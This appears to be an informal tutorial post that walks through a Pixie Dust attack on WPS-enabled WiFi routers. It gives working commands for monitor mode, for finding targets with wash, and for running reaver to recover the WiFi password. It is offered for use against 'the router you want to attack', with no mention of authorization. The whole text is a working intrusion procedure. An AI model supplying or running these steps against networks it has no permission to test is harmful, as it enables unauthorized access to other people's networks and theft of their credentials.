Here are the steps to perform a Pixie Dust attack to crack a WiFi password that has WPS enabled.

Please note, this attack is very specific in nature. I've had a lot of success running this attack against Ralink and RealTek chipsets. And very spotty success against Broadcom chipsets. This might not work against all routers, but is definitely worth trying before using a brute force attack against WPS

Let's Begin!!!

Step 1 : First you can download Kali Linux 2.0 wich have pre-installed Pixie WPS 1.1

Step 2: Monitor Mode

Put your interface into monitor mode using :

"ifconfig wlan0 down" (this command will disable your network wifi card)

"iwconfig wlan0 mode monitor" (put your wifi card into monitor mode)

and then "ifconfig wlan0 up (start your wifi adapter)

Now we have enabled monitor mode :)

Step 3 : Find a Target 

The easiest way to find a target with WPS enabled is to use this command :

'wash -i (monitor-interface)' im my case its wlan0  

Gather the BSSID and channel # for the router you want to attack. Make sure you have a strong signal before attempting this attack.


Step 4: Launch the Attack


Once you have all the information, simply type in the following command:

reaver -i {monitor interface} -b {BSSID of router} -c {router channel} -vvv -K 1 -f


Finaly after some seconds

There's the password! Again, this attack won't work against all routers, but it is definitely more effective than a brute force attack (Pixie Dust: maximum 30 minutes vs Brute Force: minutes to DAYS!)
